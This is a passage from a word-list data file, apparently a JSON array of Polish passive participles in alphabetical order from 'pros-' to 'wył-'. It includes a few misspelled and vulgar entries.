any","prosperowany","prostowany","proszkowany","proszony","protestowany","protokołowany","prowadzony","prowokowany","pruty","pryskany","pryśnięty","przeanalizowany","przearanżowany","przebaczany","przebaczony","przebadany","przebiegnięty","przebierany","przebijany","przebity","przebolony","przebrany","przebudowany","przebudowywany","przebudzany","przebudzony","przebukowany","przebyty","przebywany","przeceniany","przeceniony","przechlapany","przechodzony","przechowany","przechowywany","przechrzcony","przechwycony","przechwytywany","przechylany","przechylony","przechytrzany","przechytrzony","przeciągany","przeciągnięty","przeciążany","przeciążony","przeciekany","przecierany","przecierpiany","przecięty","przecinany","przeciskany","przeciśnięty","przeciwstawiany","przećwiczony","przeczekany","przeczesany","przeczesywany","przeczołgany","przeczuty","przeczuwany","przeczyszczony","przeczytany","przedarty","przedawkowany","przedawkowywany","przedekorowany","przedłożony","przedłużany","przedłużony","przedmuchany","przedobrzony","przedostany","przedostawany","przedsiewzięty","przedstawiany","przedstawiony","przedymany","przedyskutowany","przedzierany","przedziurawiony","przedziurkowany","przeegzaminowany","przefaksowany","przefarbowany","przefasonowany","przefasowany","przefaxowany","przefiltrowany","przeformowany","przeforsowany","przegadany","przeganany","przeganiany","przegapiany","przegapiony","przegięty","przeginany","przeglądany","przeglądnięty","przegłodzony","przegłosowany","przegoniony","przegotowany","przegotowywany","przegrabiony","przegradzany","przegrany","przegrupowany","przegrupowywany","przegrywany","przegryzany","przegryziony","przegrzany","przegrzebany","przegrzewany","przehandlowany","przeholowany","przeinstalowany","przeistoczony","przejadany","przejaskrawiany","przejaśniony","przejawiany","przejawiony","przejechany","przejęty","przejeżdżany","przejmowany","przejrzany","przekabacany","przekabacony","przekablowany","przekalibrowany","przekalkulowany","przekarmiany","przekąszony","przekazywany","przekierowany","przekierowywany","przekimany","przekładany","przeklejony","przeklęty","przeklinany","przeklnięty","przekłuty","przekonany","przekonfigurowany","przekonstruowany","przekonwertowany","przekonywany","przekopany","przekopywany","przekoziołkowany","przekraczany","przekręcany","przekręcony","przekreślany","przekreślony","przekroczony","przekrojony","przekrzyczony","przekrzywiony","przekształcany","przekształcony","przekupiony","przekupywany","przekuty","przekwalifikowany","przełączany","przełączony","przeładowany","przeładowywany","przełamany","przełamywany","przelany","przelatywany","przeleciany","przelewany","przeleżany","przelicytowany","przeliczany","przeliczony","przeliterowany","przełknięty","przełożony","przełykany","przełyknięty","przemalowany","przemalowywany","przemaszerowany","przemawiany","przemeblowany","przemęczony","przemielony","przemieniany","przemierzony","przemieszczany","przemieszczony","przemijany","przemilczany","przemilczony","przeminięty","przemknięty","przemodelowany","przemusztrowany","przemycany","przemycony","przemyślany","przemyślony","przemyty","przemywany","przenegocjowany","przeniesiony","przenikany","przeniknięty","przenoszony","przeobrażany","przeobrażony","przeoczany","przeoczony","przeorany","przeorganizowany","przeorientowany","przepadany","przepakowany","przepalony","przeparkowany","przepchany","przepchnięty","przepędzany","przepędzony","przepełniany","przepełniony","przepijany","przepiłowany","przepisany","przepisywany","przepity","przepłacany","przepłacony","przepłakany","przeplanowany","przepłoszony","przepłukany","przepłukiwany","przepłynięty","przepływany","przepompowany","przepompowywany","przepowiadany","przepowiedziany","przepracowany","przepracowywany","przeprany","przeprawiany","przeprawiony","przeprogramowany","przeprojektowany","przeprowadzany","przeprowadzony","przepuszczany","przepuszczony","przepychany","przepytany","przepytywany","przerąbany","przerabiany","przeradzany","przerastany","przerażony","przeredagowany","przerejestrowany","przerobiony","przerodzony","przerośnięty","przerwany","przerysowany","przerywany","przerzedzany","przerzucany","przerzucony","przesączony","przesadzany","przesądzany","przesadzony","przesądzony","prześcigany","prześcignięty","przesiadany","przesiadywany","przesiany","przesiedlany","przesiedlony","przesiedziany","przesiewany","przesilony","przeskakiwany","przeskalowany","przeskanowany","przeskoczony","przeskrobany","prześladowany","przesłaniany","przesłany","prześledzony","prześlizgnięty","przesłodzony","przesłonięty","przesłuchany","przesłuchiwany","przesmarowany","przesolony","przesortowany","przespany","prześpiewany","przessany","przestawiany","przestawiony","przestemplowany","przestraszony","przestrojony","przestrzegany","przestrzelony","przestudiowany","przesunięty","przesuwany","prześwietlany","prześwietlony","przesyłany","przesypany","przesypiany","przesypywany","przeszarżowany","przeszczepiany","przeszczepiony","przeszkadzany","przeszkolony","przeszmuglowany","przeszukany","przeszukiwany","przeszyty","przeszywany","przetaczany","przetańczony","przetapetowany","przetarty","przetestowany","przetkany","przetoczony","przetopiony","przetrącony","przetransformowany","przetransmitowany","przetransponowany","przetransportowany","przetrawiony","przetrwany","przetrząsany","przetrząśnięty","przetrzepany","przetrzymany","przetrzymywany","przetwarzany","przetworzony","przewalany","przewalczony","przewaletowany","przewalony","przeważany","przeważony","przewertowany","przewiązany","przewiązywany","przewidywany","przewidziany","przewiercany","przewiercony","przewieszany","przewieszony","przewietrzony","przewieziony","przewijany","przewinięty","przewitany","przewodniczony","przewodzony","przewożony","przewracany","przewrócony","przewyższany","przeymierzany","przeżarty","przeżeglowany","przeżegnany","przeziębiony","przezimowany","przeznaczany","przeznaczony","przeżuty","przezwyciężany","przezwyciężony","przeżyty","przezywany","przeżywany","przodowany","przpochlebiony","przwdziewany","przybastowany","przybierany","przybijany","przybity","przybliżany","przybliżony","przybrany","przycelowany","przycepiony","przychylony","przyciągany","przyciągnięty","przyciemniony","przycięty","przycinany","przyciskany","przyciśnięty","przyciszony","przyćmiewany","przyćmiony","przycumowany","przyczepiany","przyczesany","przyczołgany","przyczyniony","przydepnięty","przydeptany","przyduszony","przydzielany","przydzielony","przygarnięty","przygaszony","przygazowany","przygładzany","przygnębiany","przygniatany","przygnieciony","przygotowany","przygruchany","przygrywany","przygryzany","przygryziony","przygrzany","przygwożdżony","przyhamowany","przyholowany","przyjany","przyjęty","przyjmowany","przyjrzany","przykładany","przyklejony","przyklepany","przykopany","przykręcany","przykręcony","przykrócony","przykryty","przykrywany","przykurzony","przykuty","przykuwany","przyłączany","przyłączony","przylany","przyłapany","przylegany","przylepiany","przylepiony","przyłożony","przymierzony","przymilany","przymknięty","przymocowany","przymuszany","przynależony","przyniesiony","przynoszony","przynudzany","przyostrzony","przyozdabiany","przyozdobiony","przypadnięty","przypakowany","przypakowywany","przypalany","przypalony","przyparty","przypasowany","przypatrywany","przypatrzony","przypieczętowany","przypiekany","przypierany","przypięty","przypilnowany","przypiłowany","przypinany","przypisany","przypisywany","przypłacony","przyplątany","przypłynięty","przypodobany","przypominany","przypomniany","przyporządkowany","przyprawiany","przyprawiony","przyprowadzony","przypucowany","przypudrowany","przypuszczany","przypuszczony","przyrównany","przyrządzany","przyrządzony","przysiadany","przysiągnięty","przyskrzydlony","przyskrzyniany","przyskrzyniony","przysłaniany","przysłany","przysłodzony","przysłoniony","przysłuchiwany","przysługiwany","przysłużony","przysmażany","przysmażony","przyspieszany","przyspieszony","przysporzony","przysposobiony","przyśrubowywany","przyssany","przystąpiony","przystawiany","przystawiony","przystemplowany","przystopowany","przystosowany","przystrojony","przysunięty","przysuwany","przyswajany","przyświecany","przyświęcony","przyswojony","przysyłany","przysypany","przyszpilony","przyszykowany","przyszyty","przyszywany","przytaczany","przytargany","przytarty","przytaszczany","przytępiany","przytępiony","przytkany","przytłaczany","przytłoczony","przytłumiony","przytoczony","przytrafiony","przytroczony","przytruwany","przytrzasnięty","przytrzymany","przytrzymywany","przytulany","przytulony","przytwierdzany","przytwierdzony","przytykany","przyuczony","przyuważony","przywabiony","przywalany","przywalony","przywarowany","przywarty","przywdziany","przywiązany","przywiązywany","przywidziany","przywieziony","przywitany","przywłaszczany","przywłaszczony","przywołany","przywoływany","przywożony","przywracany","przywrócony","przyznaczony","przyznany","przyznawany","przyzwalany","przyzwany","przyzwyczajany","przyzwyczajony","przyzywany","psiamany","pstrykany","pstryknięty","psuty","publikowany","puchnięty","pucowany","pudłowany","pudrowany","puknięty","punktowany","pustoszony","puszczany","puszczony","puszkowany","puszony","pykany","pytany","rabowany","rachowany","racjonalizowany","racjonowany","raczony","radowany","raniony","raportowany","ratowany","ratyfikowany","reaktywowany","realizowany","reanimowany","recytowany","ręczony","redagowany","redukowany","reformowany","refowany","regenerowany","regionalizowany","regulowany","reinkarnowany","rejestrowany","reklamowany","rekomendowany","rekompensowany","rekonstruowany","rekreowany","rekrutowany","rekwirowany","relacjonowany","relaksowany","remodulowany","remontowany","renegocjowany","reorganizowany","reperowany","replikowany","represejonowany","reprezentowany","reprodukowany","resetowany","resocjalizowany","respektowany","resuscytowany","retuszowany","rewanżowany","rewidowany","rezerwowany","rezonowany","rezygnowany","reżyserowany","robiony","rodzony","rojony","rolowany","romansowany","roniony","rozbawiany","rozbawiony","rozbierany","rozbijany","rozbity","rozbłyśnięty","rozbrajany","rozbrojony","rozbudowany","rozbudowywany","rozbudzany","rozbudzony","rozbujany","rozcapierzony","rozchmurzony","rozchodzony","rozchylany","rozchylony","rozciągany","rozciągnięty","rozcieńczany","rozcieńczony","rozcierany","rozcięty","rozcinany","rozczarowany","rozczarowywany","rozczesany","rozczłonkowany","rozczulany","rozczytany","rozdany","rozdawany","rozdeptany","rozdmuchany","rozdmuchiwany","rozdrabniany","rozdrapany","rozdrapywany","rozdrażniany","rozdrażniony","rozduszony","rozdwojony","rozdysponowany","rozdzielany","rozdzielony","rozdzierany","rozdziewiczony","rozebrany","rozedrany","rozegrany","rozegrywany","rozepchany","rozerwany","rozesłany","rozgarnięty","rozgaszczany","rozgięty","rozglaszany","rozgłoszony","rozgniatany","rozgnieciony","rozgniewany","rozgoniony","rozgraniczony","rozgrany","rozgromiony","rozgrywany","rozgryzany","rozgryziony","rozgrzany","rozgrzebywany","rozgrzeszony","rozgrzewany","rozhuśtany","rozjaśniany","rozjaśniony","rozjechany","rozjedzony","rozjuszany","rozjuszony","rozkazany","rozkazywany","rozkładany","rozklejany","rozklejony","rozkołysany","rozkopany","rozkopywany","rozkoszowany","rozkręcany","rozkręcony","rozkrojony","rozkruszony","rozkuty","rozkuwany","rozkwaszony","rozkwaterowany","rozkwitany","rozkwitnięty","rozłączony","rozładowany","rozładowywany","rozłamany","rozlany","rozlewany","rozliczany","rozliczony","rozlokowany","rozłożony","rozłupany","rozluźniany","rozmanażany","rozmasowany","rozmawiany","rozmazany","rozmazywany","rozmiękczony","rozmieniany","rozmieniony","rozmieszczany","rozmieszczony","rozminięty","rozmnożony","rozmontowany","rozmówiony","rozmrażany","rozmrożony","rozmyślany","rozmyty","różnicowany","rozniecany","roznieciony","rozniesiony","różniony","roznoszony","rozochocony","rozpaczany","rozpakowany","rozpakowywany","rozpalany","rozpalony","rozpamiętywany","rozpaskudzany","rozpatrywany","rozpatrzony","rozpędzany","rozpędzony","rozpętany","rozpieszczany","rozpieszczony","rozpięty","rozpiłowany","rozpinany","rozpisany","rozpisywany","rozplanowany","rozpłaszczany","rozpłaszczony","rozplątany","rozplątywany","rozpłynięty","rozpoczęty","rozpoczynany","rozpogodzony","rozporządzany","rozporządzony","rozpościerany","rozpostrzony","rozpowiadany","rozpowiedziany","rozpowszechniany","rozpowszechniony","rozpoznany","rozpoznawany","rozpracowany","rozpraszany","rozprawiany","rozprawiczony","rozprawiony","rozprostowany","rozproszony","rozprowadzany","rozprowadzony","rozpruty","rozpruwany","rozprzestrzeniany","rozprzestrzeniony","rozpuszczany","rozpuszczony","rozpychany","rozpylany","rozpylony","rozpytany","rozpytywany","rozrastany","rozreklamowany","rozrobiony","rozrośnięty","rozróżniany","rozróżniony","rozruszany","rozrysowany","rozrywany","rozrzucany","rozsadzany","rozsadzony","rozsądzony","rozścielony","rozsiany","rozsiekany","rozsiewany","rozsiodłany","rozsławiany","rozsławiony","rozsmarowany","rozsmarowywany","rozśmieszany","rozstany","rozstąpiony","rozstawany","rozstawiany","rozstawiony","rozstrojony","rozstrząsany","rozstrzeliwany","rozstrzelony","rozstrzygany","rozstrzygnięty","rozsunięty","rozsupłany","rozświetlany","rozświetlony","rozsyłany","rozsypany","rozsypywany","rozszarpany","rozszarpywany","rozszczepiany","rozszczepiony","rozszerzany","rozszerzony","rozszyfrowany","roztaczany","roztapiany","roztarty","roztoczony","roztopiony","roztrwoniony","roztrząsany","roztrzaskany","rozumiany","rozumowany","rozwalany","rozwalony","rozwarty","rozważany","rozważony","rozweselany","rozweselony","rozwiany","rozwiązany","rozwiązywany","rozwidniany","rozwiedziony","rozwierany","rozwiercony","rozwieszany","rozwieszony","rozwiewany","rozwieziony","rozwikłany","rozwinięty","rozwlekany","rozwodzony","rozwścieczany","rozwścieczony","rozzłoszczony","rugany","ruinowany","rujnowany","runięty","ruszany","ruszony","rwany","ryczany","ryglowany","rymowany","rysowany","ryty","ryzykowany","rządzony","rzeźbiony","rżnięty","rzucany","rzucony","rzygany","sabotażowany","sączony","sadzany","sadzony","sądzony","salutowany","salwowany","sankcjonowany","satysfakcjonowany","scalony","scementowany","scentrowany","scharakteryzowany","schładzany","schlany","schlapany","schlebiony","schłodzony","schowany","schroniony","schrupany","schrzaniony","schwytany","schylany","ściągnięty","ścielony","ściemniany","ściemniony","ścierany","ścierpiony","ścięty","ścigany","ścinany","ściskany","ściśnięty","ściszany","ściszony","sędziowany","segregowany","selekcjonowany","separowany","sępiony","serwowany","sfabrykowany","sfajczony","sfałszowany","sfaulowany","sfilmowany","sfinalizowany","sfinansowany","sfingowany","sformalizowany","sformatowany","sformowany","sformułowany","sforsowany","sfotografowany","shimmerowany","siany","siekany","siorbany","skadrowany","skakany","skalany","skaleczony","skalibrowany","skalkulowany","skalpowany","skanalizowany","skandowany","skanowany","skapitulowany","skarcony","skarżony","skasowany","skatalogowany","skazany","skażony","skazywany","skierowany","składany","składowany","skłaniany","sklasyfikowany","skleciony","sklejany","sklejony","sklepany","skłócony","skłoniony","sklonowany","sknocony","skojarzony","skolonizowany","skołowany","skombinowany","skomentowany","skompensowany","skompletowany","skomplikowany","skomponowany","skompresowany","skompromitowany","skomunikowany","skonany","skoncentrowany","skończony","skondensowany","skonfigurowany","skonfiskowany","skonfrontowany","skonkretyzowany","skonsolidowany","skonstruowany","skonsultowany","skonsumowany","skontaktowany","skontrolowany","skoordynowany","skopany","skopiowany","skorektowany","skorumpowany","skorygowany","skorzystany","skoszony","skracany","skradziony","skręcany","skręcony","skremowany","skreślany","skreślony","skrobany","skrobnięty","skrócony","skrojony","skropiony","skruszony","skrystalizowany","skryty","skrytykowany","skrywany","skrzecowany","skrzepnięty","skrzyczany","skrzyty","skrzywdzony","skrzyżowany","skserowany","skubany","skubnięty","skulony","skumulowany","skupiany","skupiony","skupowany","skurczony","skuszony","skuty","skuwany","skwitowany","słany","sławiony","śledzony","śliniony","ślizgany","słodzony","słuchany","słyszany","smagany","smarowany","smażony","śmiecony","smuty","smyrany","snuty","sondowany","sortowany","spafycikowany","spakowany","spalany","spałaszowany","spalony","spałowany","spamiętany","spaprany","sparafrazowany","sparaliżowany","sparowany","spartaczony","spartolony","sparzony","spasowany","spatałaszony","spauzowany","spawany","spawiony","specjalizowany","spędzany","spędzony","spekulowany","spełniany","spełniony","spenetrowany","spętany","spierany","spięty","śpiewany","spiłowany","spinany","spisany","spiskowany","spisywany","spity","spłacany","spłacony","splądrowany","splajtowany","splamiony","spłaszczony","splatany","splątany","spłatany","spławiany","spławiony","spłodzony","spłonięty","spłoszony","spłukany","spłukiwany","spluwany","spływany","spoczęty","spoczywany","spodziewany","spojony","spolaryzowany","spoliczkowany","sponiewierany","sponsorowany","spopielany","spopielony","spopularyzowany","sportretowany","sporządzany","sporządzony","spostrzegany","spotęgowany","spotkany","spotykany","spoufalany","spowalniany","spowiadany","spowodowany","spowolniony","spoźniony","spóźniony","spożytkowany","spożyty","spożywany","sprany","sprasowany","spraszany","sprawdzony","sprawiony","sprawowany","sprecyzowany","spreparowany","sprężany","sprężony","spróbowany","sprofanowany","sprofilowany","sprostowany","sproszkowany","sproszony","sprowadzany","sprowadzony","sprowokowany","spryskany","spryskiwany","sprywatyzowany","sprzątany","sprzątnięty","sprzeczany","sprzedany","sprzedawany","sprzeniewierzony","spudłowany","spustoszony","spuszczany","spuszczony","spychany","ssany","stabilizowany","stacjonowany","staczany","staranowany","starczany","stargowany","startowany","stawiany","stawiony","stemplowany","stenografowany","stepowany","sterowany","sterroryzowany","sterylizowany","stłamszony","stłumiony","stnięty","stoczony","stołowany","stonowany","stopiony","stopniowany","storpedowany","stosowany","strącany","stracony","strącony","strajkowany","straszony","stratowany","strawiony","streamowany","stresowany","streszczany","streszczony","strofowany","strojony","stroszony","strugany","struty","strymowany","strząsany","strzaskany","strząśnięty","strzelony","strzepany","strzępiony","strzepnięty","strzepywany","studiowany","studzony","stukany","stuknięty","stulony","stwardniony","stwarzany","stwierdzany","stwierdzony","stworzony","stykany","stylizowany","stymulowany","sugerowany","sumowany","sunięty","swatany","swawolony","świadczony","świecony","święcony","świerzbiony","świętowany","świntuszony","sycony","sygnalizowany","symulowany","synchronizowany","sypany","sypnięty","szachrowany","szacowany","szafowany","szamotany","szanowany","szargany","szarpany","szarpnięty","szarżowany","szasowany","szastany","szatkowany","szczędzony","szczepiony","szczerzony","szczuty","szczycony","szczypany","szczytowany","szefowany","szemrany","szepnięty","szeptany","szerzony","szkalowany","szkicowany","szklony","szkodzony","szkolony","szlachtowany","szlifowany","szmuglowany","szokowany","szorowany","szpachlowany","szpanowany","szperany","szprycowany","sztachnięty","szturchany","szturchnięty","szturmowany","szufladkowany","szuflowany","szukany","szulerowany","szwankowany","szydełkowany","szydzony","szyfrowany","szykanowany","szykowany","szyty","taktowany","tamowany","tankowany","tapetowany","taplany","taranowany","targany","targnięty","targowany","tarmoszony","tarty","tarzany","tasowany","taszczony","tatuowany","tchnięty","telefonowany","telegrfowany","teleportowany","temperowany","teoretyzowany","tępiony","terroryzowany","testowany","tkany","tknięty","tłamszony","tłoczony","tłumaczony","tłumiony","toczony","tolerowany","tonowany","topiony","torowany","torturowany","towarzyszony","trąbiony","trącany","tracony","trącony","trafiany","trafiony","tragizowany","traktowany","transferowany","transformowany","transmitowany","transportowany","tratowany","trawiony","trenowany","tresowany","triumfowany","tropiony","troszczony","truty","trwoniony","trymowany","tryskany","tryśnięty","tryumfowany","trywializowany","trzaskany","trzasnięty","trzepany","trzepnięty","trzepotany","trzęsiony","trzymany","tuczony","tułany","tulony","turlany","tuszowany","twistowany","tworzony","tykany","tyranizowany","tyrany","tytułowany","uaktualniany","uaktualniony","uaktywniany","uaktywniony","uargumentowany","uatrakcyjniony","ubabrany","ubarwiany","ubarwiony","ubawiony","ubezpieczany","ubezpieczony","ubezwłasnowolniony","ubiczowany","ubiegany","ubierany","ubijany","ubity","ubłagany","ubliżany","ubliżony","ubolewany","ubóstwiany","ubrany","ubroczony","ubrudzony","ucałowany","ucharakteryzowany","uchowany","uchroniony","uchwalany","uchwalony","uchwycony","uchylany","uchylony","uciągnięty","ucieleśniany","ucierany","ucierpiany","ucięty","ucinany","uciskany","uciśnięty","uciszany","uciszony","uciułany","ucywilizowany","uczczony","uczepiony","uczesany","uczęszczany","uczony","ucztowany","uczuty","uczyniony","udany","udaremniony","udawany","udekorowany","udeptywany","uderzany","uderzony","udobruchany","udokumentowany","udomawiany","udomowiony","udoskonalany","udoskonalony","udostępniany","udostępniony","udowadniany","udowodniony","Udramatyzowany","udręczony","udrożniony","udupiony","uduszony","udzielany","udzielony","udźwignięty","ueiwarygodniony","ufany","ufarbowany","uformowany","ufortyfikowany","ufundowany","ugadany","uganiany","ugaszany","ugaszony","ugięty","uginany","ugłaskany","ugniatany","ugodzony","ugoszczony","ugotowany","ugrany","ugruntowany","ugryziony","ugrzęznięty","uhistoryzowany","uhonorowany","uiścity","ujadany","ujarzmiany","ujarzmiony","ujawniany","ujawniony","ujęty","ujeżdżany","ujeżdżony","ujmowany","ujrzany","ukamieniowany","ukarany","ukartowany","ukąszony","ukatrupiony","ukazany","ukazywany","ukierowany","ukierunkowany","układany","uklepany","ukłoniony","ukłuty","uknuty","ukojony","ukołysany","ukończony","ukonkretniony","ukoronowany","ukradziony","ukręcany","ukręcony","ukrojony","ukryty","ukrywany","ukrzyżowany","ukształtowany","ukuty","ułagodzony","ułaskawiany","ułaskawiony","ulatniany","ułatwiany","ułatwiony","uleczany","uleczony","ulegany","ulepiony","ulepszany","ulepszony","ulokowany","ulotniony","ułożony","umacniany","umalowany","umartwiany","umawiany","umazany","umeblowany","umiejscowiony","umieszczany","umieszczony","umilany","umilony","umknięty","umniejszany","umniejszony","umocniony","umocowany","umoczony","umodelowany","umorzony","umotywowany","umówiony","umożliwiany","umożliwiony","umroczniony","umyty","unaoczniony","unicestwiany","unicestwiony","uniemożliwainy","uniemożliwiony","unierochomiony","uniesiony","unieszczęśliwiany","unieszczęśliwiony","unieszkodliwiany","unieszkodliwiony","unieważniany","unieważniony","uniewinniony","uniezależniony","unikany","uniknięty","unormowany","unoszony","unowoczesniany","unowocześniany","uodporniony","uogólniany","upakowany","upalany","upalony","upamiętniany","upamiętniony","upaństwowiony","upaprany","uparty","upaskudzony","upchany","upchnięty","upewniany","upewniony","upgradowany","upichcony","upiększany","upiększony","upierany","upierdolony","upięty","upijany","upilnowany","upinany","upity","uplastyczniony","upłynięty","upodabniany","upodobniony","upojony","upokorzany","upokorzony","upolowany","upominany","uporządkowany","upowszechniony","upozorowany","upozowany","uprany","uprasowany","upraszczany","uprawdopodobniony","uprawiany","uproszczony","uproszony","uprowadzany","uprowadzony","uprzątany","uprzątnięty","uprzedony","uprzedzany","uprzyjemniany","uprzyjemniony","uprzykrzany","uprzytomniony","upubliczniany","upubliczniony","upudrowany","upuszczany","upuszczony","upychany","urabiany","uraczany","uradowany","Urągany","uratowany","urażany","urażony","uregulowany","urobiony","uroniony","urośnięty","urozmaicany","urozmaicony","uruchamiany","uruchomiony","urwany","urywany","urządzany","urządzony","urzeczywistniany","urzeczywistniony","urżnięty","usadowiony","usadzony","usamowolniony","usankcjonowany","usatyfakcjonowany","uschnięty","uściskany","uścislony","uściśnięty","usidlony","usiedzony","uskładany","uskoczony","uskuteczniany","uskuteczniony","usłuchany","usługiwany","usłużony","usłyszany","usmażony","uśmiany","uśmiercany","uśmiercony","uśmierzony","uspany","uśpiony","uspokajany","uspokojony","uspołeczniany","usprawiedliwiany","usprawiedliwiony","usprawniony","usprzątany","ustabilizowany","ustalany","ustalony","ustanawiany","ustanowiony","ustąpiony","ustatkowany","ustawiany","ustawiony","ustępowany","ustosunkowany","ustrojony","ustrzegany","ustrzelony","usunięty","ususzony","usuwany","uświadamiany","uświadczony","uświadomiony","uświęcony","uświniony","usychany","usypany","usypiany","usystematyzowany","usytuowany","uszanowany","uszczelniany","uszczęśliwiany","uszczęśliwiony","uszczuplony","uszczypnięty","uszkadzany","uszkodzony","uszlachetniany","uszlachetniony","usztywniony","uszykowany","uszyty","utajniony","utargowany","utarty","utemperowany","utkany","utknięty","utkwiony","utoczony","utopiony","utorowany","utożsamiany","utożsamiony","utracony","utrącony","utrudniany","utrudniony","utrwalany","utrwalony","utrzymywany","utuczony","utulony","utwierdzany","utwierdzony","utworzony","utylizowany","uwalniany","uwalony","uwarunkowany","uważany","uwiązany","uwiązywany","uwidoczniony","uwieczniany","uwieczniony","uwielbiany","uwielbiony","uwieńczony","uwierany","uwierzony","uwieszony","uwieziony","uwięziony","uwijany","uwikłany","uwinięty","uwity","uwłaczany","uwłaszczony","uwodzony","uwolniony","uwsteczniany","uwsteczniony","uwydatniany","uwypiklony","uwzględniany","uwzględniony","użądlony","uzależniany","uzależniony","uzasadniany","uzasadniony","uzbierany","uzbrajany","uzbrojony","uzdrawiany","uzdrowiony","użerany","uzewnętrzniany","uzewnętrzniony","uzgadniany","uzgodniony","uziemiony","uzmysłowiony","uznany","uznawany","uzupełniany","uzupełniony","uzurpowany","użyczany","użyczony","uzyskany","uzyskiwany","użyty","używany","wabiony","wąchany","wachlowany","wahany","walczony","wałkowany","walnięty","walony","ważony","wbijany","wbity","wcelowany","wchłonięty","wciągany","wciągnięty","wcielany","wcielony","wcierany","wcięty","wcinany","wciskany","wciśnięty","wczepiony","wczołgany","wczuty","wczytany","wczytywany","wdany","wdarty","wdawany","wdepnięty","wdeptany","wdetonowany","wdmuchiwany","wdrapany","wdrapywany","wdrażany","wdrążony","wdrożony","wduszony","wdychany","wdzierany","wędkowany","wentylowany","wepchany","wepchnięty","werbowany","weryfikowany","wessany","wetkany","wetknięty","wezwany","wgłębiany","wgniatany","wgnieciony","wgrany","wgryzany","wgryziony","wiązany","wibrowany","widywany","widziany","wiedzony","wielbiony","wiercony","wierzgany","wierzony","wieszany","wietrzony","więżony","wikłany","windowany","winszowany","wiosłowany","wirowany","witany","wity","wizualizowany","wjeżdżany","wkalkulowany","wkładany","wklejany","wklejony","wklepany","wkłuty","wkomponowany","wkopany","wkopywany","wkraczany","wkradany","wkradziony","wkręcany","wkręcony","wkupiony","wkurwiany","wkuty","wkuwany","włączany","włączony","władany","władowany","włamany","włamywany","wlany","wlepiany","wlepiony","wlewany","wliczany","wliczony","włożony","wmanewrowany","wmanipulowany","wmawiany","wmieszany","wmówiony","wmurowany","wmuszony","wnerwiany","wnerwiony","wniesiony","wnikany","wniknięty","wnioskowany","wnoszony","wodowany","wojowany","wołany","woskowany","wożony","wpajany","wpakowany","wparowany","wpasowany","wpatrywany","wpędzany","wpędzony","wperswadowany","wpieniony","wpięty","wpisany","wpisywany","wpłacany","wpłacony","wplatany","wplątany","wplątywany","wpojony","wpompowany","wpraszany","wprawiany","wproszony","wprowadzany","wprowadzony","wpuszczony","wpychany","wrabiany","wręczany","wrobiony","wróżony","wryty","wrzucany","wrzucony","wrzynany","wsadzany","wsadzony","wskazany","wskazywany","wskórany","wskrzeszany","wskrzeszony","wślizgiwany","wślizgnięty","wsłuchany","wsparty","wspierany","wspięty","współczuty","współodczuwany","współtworzony","współżyty","wspomagany","wspominany","wspomniany","wstąpiony","wstawiany","wstawiony","wstrząsany","wstrząśnięty","wstrzelony","wstrzykiwany","wstrzyknięty","wstrzymany","wstrzymywany","wstukany","wsunięty","wsuwany","wsypany","wszamany","wszczepiany","wszczepiony","wszczęty","wszczynany","wszyty","wtajemniczany","wtajemniczony","wtapiany","wtargnięty","wtarty","wtaszczony","wtłoczony","wtopiony","wtrącony","wtryniany","wtulany","wtulony","wtykany","wwalony","wwiercany","wwiercony","wwieziony","wwożony","wyartykułowany","wyautowany","wybaczany","wybaczony","wybadany","wybatożony","wybawiony","wybebeszony","wybełkotany","wybiczowany","wybielany","wybielony","wybierany","wybijany","wybity","wybłagany","wyblaknięty","wybrandzlowany","wybrany","wybroniony","wybrzydzany","wybuchany","wybuchnięty","wybudowany","wybudzany","wybudzony","wyburzany","wyburzony","wycackany","wycałowany","wyceniany","wyceniony","wychlany","wychłostany","wychodowany","wychowany","wychowywany","wychrobotany","wychwalany","wychwycony","wychylany","wychylony","wyciągany","wyciągnięty","wyciekany","wycieniowany","wycierany","wycięty","wycinany","wyciskany","wyciśnięty","wyciszany","wyciszony","wycofany","wyćwiczony","wycyckany","wycyganiony","wyczarowany","wyczarterowany","wyczekany","wyczekiwany","wyczerpany","wyczesany","wyczołgany","wyczołgiwany","wyczuty","wyczuwany","wyczyniany","wyczyszczony","wyczytany","wyczytywany","wydalany","wydalony","wydany","wydębiony","wydedukowany","wydelegowany","wydepilowany","wydeptywany","wydłubany","wydłubywany","wydłużany","wydłużony","wydmuchany","wydmuchiwany","wydobyty","wydobywany","wydojony","wydoroślany","wydostany","wydrany","wydrapany","wydrapywany","wydrążony","wydrukowany","wydukany","wyduszony","wydychany","wydziedziczony","wydzielany","wydzielony","wydzierany","wydzierżawiony","wydziobany","wydziwiany","wydzwaniany","wyedukowany","wyedytowany","wyeeliminowany","wyegzekwowany","wyeksmitowany","wyekspediowany","wyeksploatowany","wyeksponowany","wyeksportowany","wyeliminowany","wyemigrowany","wyemitowany","wyewoluowany","wyfrunięty","wygadany","wygadywany","wyganiany","wygarbowany","wygarniany","wygarnięty","wygasany","wygaśnięty","wygaszany","wygaszony","wygenerowany","wygięty","wyginany","wygładzany","wygładzony","wygłaszany","wygłodzony","wygłosowany","wygłoszony","wygłówkowany","wygnany","wygolony","wygoniony","wygooglowany","wygospodarowany","wygotowany","wygrany","wygrawerowany","wygrażany","wygrywany","wygryziony","wygrzany","wygrzebany","wygrzebywany","wygrzewany","wygubiony","wyhaczony","wyhaftowany","wyhamowany","wyhodowany","wyizolowany","wyjadany","wyjaśniany","wyjaśniony","wyjawiany","wyjawiony","wyjedzony","wyjęty","wyjmowany","wykadrowany","wykalibrowany","wykalkulowany","wykańczany","wykantowany","wykąpany","wykaraskany","wykarczowany","wykarmiany","wykasowany","wykastrowany","wykazany","wykazywany","wykierowany","wykitowany","wykiwany","wykładany","wyklarowany","wyklepany","wyklinany","wykłócany","wykluczany","wykluczony","wykluty","wykłuty","wykminiony","wykolejony","wykołowany","wykombinowany","wykonany","wykończony","wykonywany","wykopany","wykopnięty","wykopywany","wykorkowany","wykorzeniany","wykorzeniony","wykorzystany","wykorzystywany","wykoszony","wykpity","wykradany","wykradnięty","wykręcany","wykręcony","wykreowany","wykreślany","wykreślony","wykrochmalony","wykrojony","wykrwawiany","wykrwawiony","wykryty","wykrywany","wykrzesany","wykrztuszony","wykrzyczony","wykrzykiwany","wykrzyknięty","wykrzywiany","wykształcony","wyksztuszony","wykupiony","wykupywany","wykuty","wykuwany","wyłączany","wyłączony","wylądowany","wyładowany","wyładowywany","wyłajany","wyłamany","wyłamywany","wyłaniany","wylansowany","wylany","wyłapany","wyłapywany","wyławiany","wyleasingowany","wyleczony","wylęgany","wylegimytowany","wylewany","wyłgany","wylicytowany","wyliczany","wyliczony","wylizany","wylizywany","wylogowany","wyłoniony","wylosowany","wyłowiony","wyłożony","wyłudzany","wyłudzony","wyłupany","